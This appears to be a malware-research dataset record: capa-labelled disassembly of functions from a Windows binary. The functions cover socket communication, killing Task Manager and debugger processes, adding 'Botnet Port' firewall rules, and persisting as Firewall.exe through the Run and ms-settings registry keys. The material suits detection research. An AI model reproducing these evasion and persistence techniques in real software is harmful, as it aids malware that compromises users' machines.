joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400033b0
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
mov ecx, edx
call qword [sym.imp.WS2_32.dll_htonl]
xor r9d, r9d
lea rdx, [rsp + 0x2c]
mov rcx, rbx
mov dword [rsp + 0x2c], eax
mov r8d, 4
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 4
sete al
movzx eax, al
add rsp, 0x30
pop rbx
ret

Function at 0x1400033f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x38
xor r9d, r9d
mov r8d, 4
lea rdx, [rsp + 0x2c]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
jne 0x140003420
mov ecx, dword [rsp + 0x2c]
call qword [sym.imp.WS2_32.dll_ntohl]
add rsp, 0x38
ret
mov eax, 0xffffffff
jmp 0x140003417

Function at 0x140003430
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rsi, rcx
mov rbx, rdx
test rdx, rdx
je 0x1400034a0
mov rcx, rdx
call sub.msvcrt.dll_strlen
mov ecx, eax
mov rdi, rax
call qword [sym.imp.WS2_32.dll_htonl]
xor r9d, r9d
lea rdx, [rsp + 0x2c]
mov rcx, rsi
mov dword [rsp + 0x2c], eax
mov rbp, qword [sym.imp.WS2_32.dll_send]
mov r8d, 4
call rbp
cmp eax, 4
jne 0x1400034a0
xor r9d, r9d
mov r8d, edi
mov rdx, rbx
mov rcx, rsi
call rbp
cdqe
cmp rax, rdi
sete al
movzx eax, al
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor eax, eax
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x1400034b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
xor r9d, r9d
mov rbp, qword [sym.imp.WS2_32.dll_recv]
mov r8d, 4
mov rdi, rcx
lea rdx, [rsp + 0x2c]
call rbp
cmp eax, 4
jne 0x140003530
mov ecx, dword [rsp + 0x2c]
call qword [sym.imp.WS2_32.dll_ntohl]
movsxd rcx, eax
mov rsi, rcx
test rcx, rcx
js 0x140003530
add rcx, 1
call sub.msvcrt.dll_malloc
mov rbx, rax
test rax, rax
je 0x140003530
xor r9d, r9d
mov r8d, esi
mov rdx, rax
mov rcx, rdi
call rbp
cmp eax, esi
jne 0x140003528
mov eax, eax
mov byte [rbx + rax], 0
mov rax, rbx
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rcx, rbx
call sub.msvcrt.dll_free
xor ebx, ebx
jmp 0x140003515

Function at 0x140003ff0
Capabilities:
Get thread local storage value
Hijack thread execution

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x140004009
cmp qword [rcx], 0xffffffffffffffff
je 0x140004009
cmp byte [rcx + 8], 0
je 0x140004010
add rsp, 0x20
pop rbx
ret
lea rcx, str.Closing_connection
call fcn.140001920
mov rcx, qword [rbx]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rbx + 0x18]
mov byte [rbx + 8], 1
add rsp, 0x20
pop rbx
jmp fcn.1400a1ad0
Function at 0x1400058c0
Capabilities:
Send data
Send data on socket

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x60
mov rdi, rcx
mov ecx, 0x4b0
mov rsi, rdx
mov rbp, r8
mov r12d, r9d
call sub.msvcrt.dll_malloc
mov rbx, rax
test rax, rax
je 0x140005961
movdqu xmm0, xmmword [rsi]
lea rcx, [rsp + 0x30]
mov rdx, rax
movups xmmword [rsp + 0x30], xmm0
movdqu xmm1, xmmword [rsi + 0x10]
movups xmmword [rsp + 0x40], xmm1
movdqu xmm2, xmmword [rsi + 0x20]
movups xmmword [rsp + 0x50], xmm2
call fcn.1400051c0
mov rcx, rdi
mov dword [rsp + 0x28], r12d
xor r9d, r9d
mov qword [rsp + 0x20], rbp
mov esi, eax
mov r8d, eax
mov rdx, rbx
call qword [sym.imp.WS2_32.dll_sendto]
mov rcx, rbx
test eax, eax
js 0x140005949
call sub.msvcrt.dll_free
mov eax, esi
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call sub.msvcrt.dll_free
lea rcx, str.sendto
call sub.msvcrt.dll_perror
mov esi, 0xffffffff
jmp 0x14000593c
lea rcx, [0x1400a8c72]
call sub.msvcrt.dll_perror
jmp 0x14000595a

Function at 0x140006b90
Capabilities:
Convert ip address from string

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rdi, rcx
mov rbp, rdx
test rcx, rcx
je 0x140006bf9
mov edx, dword [rcx]
test edx, edx
jle 0x140006bf9
mov r12, qword [sym.imp.WS2_32.dll_inet_pton]
xor esi, esi
nop dword [rax]
mov rax, qword [rdi + 8]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
je 0x140006bf1
cmp byte [rbx], 0
je 0x140006bf1
mov edx, 0x3a
mov rcx, rbx
call sub.msvcrt.dll_strchr
mov r8, rbp
mov rdx, rbx
test rax, rax
je 0x140006c10
mov ecx, 0x17
call r12
cmp eax, 1
je 0x140006c1d
mov edx, dword [rdi]
add rsi, 1
cmp edx, esi
jg 0x140006bb8
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov ecx, 2
call r12
cmp eax, 1
jne 0x140006bef
mov rcx, rbx
call fcn.14009f778
mov qword [rbp], rax
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x1400070d0
Capabilities:
Connect socket

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
mov rsi, rcx
test rcx, rcx
je 0x140007225
mov ecx, 0x18
call sub.msvcrt.dll_malloc
movzx r8d, byte [rsi + 0x41]
lea rcx, str._d_is_v6:__d_n
mov byte [rax + 8], 0
mov rbx, rax
cmp r8b, 1
mov qword [rax], 0
sbb edi, edi
mov qword [rax + 0x10], 0
and edi, 0xffffffeb
add edi, 0x17
mov edx, edi
call fcn.140001920
mov ecx, edi
xor r8d, r8d
mov edx, 1
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140007230
mov r12, qword [rsi]
mov rcx, qword [r12 + 8]
call fcn.14009f778
lea rdx, str.https
mov rcx, rax
call sub.msvcrt.dll_strcmp
mov rcx, qword [r12 + 0x20]
movzx r13d, byte [rsi + 0x41]
mov ebp, eax
test rcx, rcx
jne 0x1400071d0
cmp eax, 1
sbb r8d, r8d
and r8d, 0x16b
add r8d, 0x50
mov rdx, qword [rsi + 0x48]
lea rsi, [rsp + 0x20]
mov r9d, r13d
mov rcx, rsi
call fcn.1400079f0
mov r8d, eax
lea eax, [rax - 1]
cmp eax, 0x7f
ja 0x140007214
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x140007208
test ebp, ebp
je 0x1400071e8
mov qword [rbx], rdi
mov rax, rbx
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov r8d, 0xa
xor edx, edx
call sub.msvcrt.dll_strtol
movzx r8d, ax
jmp 0x140007185
mov rcx, rdi
call fcn.140006fd0
test rax, rax
je 0x140007214
mov qword [rbx], rdi
mov byte [rbx + 8], 1
mov qword [rbx + 0x10], rax
jmp 0x1400071bb
lea rcx, str.connect
call fcn.140001940
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, rbx
call sub.msvcrt.dll_free
xor ebx, ebx
jmp 0x1400071bb
lea rcx, [0x1400a8f59]
call fcn.140001940
mov rcx, rbx
xor ebx, ebx
call sub.msvcrt.dll_free
jmp 0x1400071bb

Function at 0x140007250
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r8
test rdx, rdx
je 0x1400072a8
mov r10, qword [rcx]
xor eax, eax
test r10, r10
je 0x14000727b
cmp byte [rcx + 8], 0
je 0x140007288
mov rcx, qword [rcx + 0x10]
call fcn.14000f21d
test eax, eax
setg al
add rsp, 0x20
pop rbx
ret
xor r9d, r9d
mov rcx, r10
call qword [sym.imp.WS2_32.dll_send]
cdqe
cmp rax, rbx
sete al
add rsp, 0x20
pop rbx
ret
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x1400079f0
Capabilities:
Convert ip address from string

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
mov rsi, rdx
movzx ecx, r8w
test r9b, r9b
je 0x140007a40
mov edx, 0x17
mov word [rbx], dx
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rbx + 8]
mov rdx, rsi
mov ecx, 0x17
mov word [rbx + 2], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x140007a8b
mov eax, 0x1c
add rsp, 0x28
pop rbx
pop rsi
ret
mov eax, 2
mov word [rbx], ax
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rbx + 4]
mov rdx, rsi
mov ecx, 2
mov word [rbx + 2], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x140007a75
mov eax, 0x10
add rsp, 0x28
pop rbx
pop rsi
ret
mov rdx, rsi
lea rcx, str.Invalid_IPv4_address:__s_n
call fcn.140007590
mov eax, 0xffffffff
jmp 0x140007a6e
mov rdx, rsi
lea rcx, str.Invalid_IPv6_address:__s_n
call fcn.140007590
jmp 0x140007a84
Function at 0x140009fa0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x178
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000a0ad
lea rdi, [rsp + 0x40]
mov rcx, rax
mov dword [rsp + 0x40], 0x130
mov rdx, rdi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14000a0a3
mov rbp, qword [sym.imp.msvcrt.dll__stricmp]
mov r13, qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rbx, [rsp + 0x6c]
lea r12, str.taskmgr.exe
lea r14, str.Killed__s_PID__lu_PPID__lu_Threads__lu_Module__lu_Flags__lu_Priority__lu_n
nop dword [rax]
mov rdx, r12
mov rcx, rbx
call rbp
test eax, eax
je 0x14000a030
lea rdx, str.debugg
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
je 0x14000a090
mov eax, dword [rsp + 0x64]
mov r9d, dword [rsp + 0x60]
mov rdx, rbx
mov rcx, r14
mov r8d, dword [rsp + 0x48]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x20], eax
call fcn.140001920
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 1
call r13
mov r15, rax
test rax, rax
je 0x14000a090
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rdi
mov rcx, rsi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14000a010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x178
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000a1b0
Capabilities:
Execute command
Terminate process

Disassembly:
push rsi
push rbx
sub rsp, 0xc8
mov ebx, ecx
call fcn.14000a0f0
mov r8d, eax
cmp eax, 0xffffffff
je 0x14000a2c5
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x14000a2c5
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x14000a2d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000a2f0
mov eax, 2
movzx ecx, bx
mov word [rsp + 0x30], ax
call qword [sym.imp.WS2_32.dll_htons]
xor ecx, ecx
mov word [rsp + 0x32], ax
call qword [sym.imp.WS2_32.dll_htonl]
lea rdx, [rsp + 0x30]
mov r8d, 0x10
mov rcx, rsi
mov dword [rsp + 0x34], eax
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x14000a308
mov edx, 1
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x14000a320
mov dword [rsp + 0x20], ebx
lea rsi, [rsp + 0x40]
mov r9d, ebx
lea r8, str.netsh_advfirewall_firewall_add_rule_name_Botnet_Port__d__dirin_actionblock_protocolTCP_localport_d
mov edx, pe_nt_image_headers64
mov rcx, rsi
call fcn.140009f40
mov rcx, rsi
call fcn.14009f740
mov dword [rsp + 0x20], ebx
mov rcx, rsi
mov r9d, ebx
lea r8, str.netsh_advfirewall_firewall_add_rule_name_Botnet_Port__d__dirout_actionblock_protocolTCP_localport_d
mov edx, pe_nt_image_headers64
call fcn.140009f40
mov rcx, rsi
call fcn.14009f740
nop
add rsp, 0xc8
pop rbx
pop rsi
ret
lea rcx, str.Failed_to_terminate_process._n
call fcn.140001940
mov rcx, rsi
add rsp, 0xc8
pop rbx
pop rsi
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Failed_to_create_socket._n
add rsp, 0xc8
pop rbx
pop rsi
jmp fcn.140001940
lea rcx, str.Failed_to_bind_socket._n
call fcn.140001940
jmp 0x14000a2c5
lea rcx, str.Failed_start_listening._n
call fcn.140001940
jmp 0x14000a2c5
Function at 0x14000a5a0
Capabilities:
Persist via default file association registry key
Persist via run registry key
Set registry value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x130
lea rdx, str.C:Documents_and_SettingsUserStart_MenuProgramsStartupFirewall.exe
mov rbx, rcx
lea rsi, [rsp + 0x30]
call fcn.140001fc0
call fcn.1400019a0
mov r8, rax
test rax, rax
je 0x14000a5fe
lea rdx, str.C:Users_sAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupFirewall.exe
mov rcx, rsi
call fcn.14000a3d0
mov rdx, rsi
lea rcx, str.Path:__s_n
cdqe
mov byte [rsp + rax + 0x30], 0
call fcn.140001920
mov rdx, rsi
mov rcx, rbx
call fcn.140001fc0
lea rdi, str.C:WindowsSystem32Firewall.exe
mov rcx, rbx
mov rdx, rdi
call fcn.140001fc0
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov r12, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r9d, 0xf003f
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call r12
test eax, eax
je 0x14000a690
mov rcx, qword [rsp + 0x30]
mov rbp, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rbp
mov rdx, rdi
mov rcx, rbx
call fcn.140001fc0
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov r9d, 0xf003f
lea rdx, str.SoftwareClassesms_settingsShellopencommand
mov rcx, 0xffffffff80000001
call r12
test eax, eax
je 0x14000a6c0
mov rcx, qword [rsp + 0x30]
call rbp
nop
add rsp, 0x130
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov dword [rsp + 0x28], 0x21
mov rcx, qword [rsp + 0x30]
xor r8d, r8d
mov r9d, 1
mov qword [rsp + 0x20], rdi
lea rdx, str.Firewall
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x14000a63a
mov dword [rsp + 0x28], 0x21
mov rcx, qword [rsp + 0x30]
xor r8d, r8d
mov r9d, 1
mov qword [rsp + 0x20], rdi
lea rdx, [0x1400a9c90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x14000a676
Function at 0x140013430
Capabilities:
Read file on windows

Disassembly:
push rbp
sub rsp, 0x450
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3e8], rdx
mov qword [rbp + 0x3f0], r8
mov dword [rbp + 0x3f8], r9d
lea rax, [rbp - 0x60]
mov qword [rbp + 0x3c8], rax
mov dword [rbp + 0x3c4], 0
mov dword [rbp + 0x3bc], 0
cmp qword [rbp + 0x3e0], 0
je 0x14001348f
cmp qword [rbp + 0x3f0], 0
jne 0x140013499
mov eax, 0xffffff53
jmp 0x1400136c0
mov rax, qword [rbp + 0x3f0]
lea rdx, [0x1400a9d00]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x3b0], rax
cmp qword [rbp + 0x3b0], 0
jne 0x1400134ca
mov eax, 0xfffffffc
jmp 0x1400136c0
mov rax, qword [rbp + 0x3b0]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
test eax, eax
je 0x140013501
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov eax, 0xfffffffc
jmp 0x1400136c0
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
call sub.msvcrt.dll_ftell
mov dword [rbp + 0x3bc], eax
mov rax, qword [rbp + 0x3b0]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
test eax, eax
je 0x14001354d
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov eax, 0xfffffffc
jmp 0x1400136c0
cmp dword [rbp + 0x3bc], 0x400000
jg 0x140013562
cmp dword [rbp + 0x3bc], 0
jg 0x14001357b
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov eax, 0xfffffffc
jmp 0x1400136c0
cmp dword [rbp + 0x3bc], 0x400
jle 0x1400135cb
mov eax, dword [rbp + 0x3bc]
cdqe
mov rcx, rax
call fcn.14004ff3e
mov qword [rbp + 0x3c8], rax
cmp qword [rbp + 0x3c8], 0
jne 0x1400135c1
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov eax, 0xfffffffc
jmp 0x1400136c0
mov dword [rbp + 0x3c4], 1
mov eax, dword [rbp + 0x3bc]
movsxd rdx, eax
mov rcx, qword [rbp + 0x3b0]
mov rax, qword [rbp + 0x3c8]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov rdx, rax
mov eax, dword [rbp + 0x3bc]
cdqe
cmp rdx, rax
je 0x140013611
mov dword [rbp + 0x3c0], 0xfffffffc
jmp 0x14001367b
cmp qword [rbp + 0x3e8], 0
je 0x14001364c
mov r8d, dword [rbp + 0x3f8]
mov ecx, dword [rbp + 0x3bc]
mov rdx, qword [rbp + 0x3c8]
mov rax, qword [rbp + 0x3e8]
mov r9d, r8d
mov r8d, ecx
mov rcx, rax
call fcn.1400175e9
mov dword [rbp + 0x3c0], eax
jmp 0x14001367b
mov r8d, dword [rbp + 0x3f8]
mov ecx, dword [rbp + 0x3bc]
mov rdx, qword [rbp + 0x3c8]
mov rax, qword [rbp + 0x3e0]
mov r9d, r8d
mov r8d, ecx
mov rcx, rax
call fcn.140017637
mov dword [rbp + 0x3c0], eax
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
call sub.msvcrt.dll_fclose
cmp dword [rbp + 0x3c4], 0
je 0x1400136ba
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3a8], rax
cmp qword [rbp + 0x3a8], 0
je 0x1400136ba
mov rax, qword [rbp + 0x3a8]
mov rcx, rax
call fcn.14004ff8e
mov eax, dword [rbp + 0x3c0]
add rsp, 0x450
pop rbp
ret
Function at 0x1400308c5
Capabilities:
Generate random numbers via winapi

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov rax, qword [rbp + 0x10]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 1
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
call rax
test eax, eax
jne 0x14003090d
mov eax, 0xffffff99
jmp 0x140030952
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x18]
mov edx, dword [rbp + 0x20]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
call rax
test eax, eax
jne 0x140030935
mov eax, 0xffffff98
jmp 0x140030952
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x140030b81
Capabilities:
Hash data using sha256

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp - 4], 0
cmp qword [rbp + 0x10], 0
jne 0x140030ba5
mov eax, 0xffffff53
jmp 0x140030c37
mov rax, qword [rbp + 0x10]
mov r8d, 0x20
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [rbp + 0x10]
mov dword [rax], 0x6a09e667
mov rax, qword [rbp + 0x10]
mov dword [rax + 4], 0xbb67ae85
mov rax, qword [rbp + 0x10]
mov dword [rax + 8], 0x3c6ef372
mov rax, qword [rbp + 0x10]
mov dword [rax + 0xc], 0xa54ff53a
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x10], 0x510e527f
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x14], 0x9b05688c
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x18], 0x1f83d9ab
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x1c], 0x5be0cd19
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x60], 0
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x64], 0
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x68], 0
mov eax, dword [rbp - 4]
add rsp, 0x30
pop rbp
ret

Function at 0x140031d90
Capabilities:
Hash data using sha224

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov dword [rbp - 4], 0
cmp qword [rbp + 0x10], 0
jne 0x140031db1
mov eax, 0xffffff53
jmp 0x140031e2c
mov rax, qword [rbp + 0x10]
mov dword [rax], 0xc1059ed8
mov rax, qword [rbp + 0x10]
mov dword [rax + 4], 0x367cd507
mov rax, qword [rbp + 0x10]
mov dword [rax + 8], 0x3070dd17
mov rax, qword [rbp + 0x10]
mov dword [rax + 0xc], 0xf70e5939
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x10], 0xffc00b31
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x14], 0x68581511
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x18], 0x64f98fa7
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x1c], 0xbefa4fa4
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x60], 0
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x64], 0
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x68], 0
mov eax, dword [rbp - 4]
add rsp, 0x10
pop rbp
ret
Function at 0x1400403ee
Capabilities:
Encrypt data using aes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov dword [rbp - 4], 0
mov dword [rbp - 8], 0
jmp 0x140040447
mov dword [rbp - 0xc], 0
jmp 0x14004043a
mov eax, dword [rbp - 0xc]
cdqe
mov edx, dword [rbp - 8]
movsxd rdx, edx
shl rdx, 8
add rax, rdx
lea rdx, [rax*4]
lea rax, [0x1400aae60]
mov eax, dword [rdx + rax]
and dword [rbp - 4], eax
add dword [rbp - 0xc], 0x10
cmp dword [rbp - 0xc], 0xff
jle 0x14004040f
add dword [rbp - 8], 1
cmp dword [rbp - 8], 3
jle 0x140040406
mov eax, dword [rbp - 4]
add rsp, 0x10
pop rbp
ret
Function at 0x1400428b9
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov dword [rbp - 4], 0
mov dword [rbp - 8], 0
jmp 0x140042912
mov dword [rbp - 0xc], 0
jmp 0x140042905
mov eax, dword [rbp - 0xc]
cdqe
mov edx, dword [rbp - 8]
movsxd rdx, edx
shl rdx, 8
add rax, rdx
lea rdx, [rax*4]
lea rax, [0x1400abe60]
mov eax, dword [rdx + rax]
and dword [rbp - 4], eax
add dword [rbp - 0xc], 0x10
cmp dword [rbp - 0xc], 0xff
jle 0x1400428da
add dword [rbp - 8], 1
cmp dword [rbp - 8], 3
jle 0x1400428d1
mov eax, dword [rbp - 4]
add rsp, 0x10
pop rbp
ret

Function at 0x140042921
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov dword [rbp - 4], 0
mov dword [rbp - 8], 0
jmp 0x140042953
mov eax, dword [rbp - 8]
cdqe
lea rdx, [0x1400ace60]
movzx eax, byte [rax + rdx]
movzx eax, al
and dword [rbp - 4], eax
add dword [rbp - 8], 0x40
cmp dword [rbp - 8], 0xff
jle 0x140042939
mov eax, dword [rbp - 4]
add rsp, 0x10
pop rbp
ret
Function at 0x140047857
Capabilities:
Hash data using sha1

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov dword [rbp - 4], 0
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x4c], 0x67452301
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x50], 0xefcdab89
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x54], 0x98badcfe
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x58], 0x10325476
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x5c], 0xc3d2e1f0
mov rax, qword [rbp + 0x10]
mov dword [rax], 0
mov rax, qword [rbp + 0x10]
mov dword [rax + 4], 0
mov rax, qword [rbp + 0x10]
mov dword [rax + 8], 0
mov eax, dword [rbp - 4]
add rsp, 0x10
pop rbp
ret

Function at 0x14004c4b9
Capabilities:
Hash data using sha384

Disassembly:
push rbp
mov rbp, rsp
mov qword [rbp + 0x10], rcx
cmp qword [rbp + 0x10], 0
jne 0x14004c4d2
mov eax, 0xffffff53
jmp 0x14004c592
mov rax, qword [rbp + 0x10]
movabs rdx, 0xcbbb9d5dc1059ed8
mov qword [rax], rdx
mov rax, qword [rbp + 0x10]
movabs rcx, 0x629a292a367cd507
mov qword [rax + 8], rcx
mov rax, qword [rbp + 0x10]
movabs rdx, 0x9159015a3070dd17
mov qword [rax + 0x10], rdx
mov rax, qword [rbp + 0x10]
movabs rcx, 0x152fecd8f70e5939
mov qword [rax + 0x18], rcx
mov rax, qword [rbp + 0x10]
movabs rdx, 0x67332667ffc00b31
mov qword [rax + 0x20], rdx
mov rax, qword [rbp + 0x10]
movabs rcx, 0x8eb44a8768581511
mov qword [rax + 0x28], rcx
mov rax, qword [rbp + 0x10]
movabs rdx, 0xdb0c2e0d64f98fa7
mov qword [rax + 0x30], rdx
mov rax, qword [rbp + 0x10]
movabs rcx, 0x47b5481dbefa4fa4
mov qword [rax + 0x38], rcx
mov rax, qword [rbp + 0x10]
mov dword [rax + 0xc0], 0
mov rax, qword [rbp + 0x10]
mov qword [rax + 0xc8], 0
mov rax, qword [rbp + 0x10]
mov qword [rax + 0xd0], 0
mov eax, 0
pop rbp
ret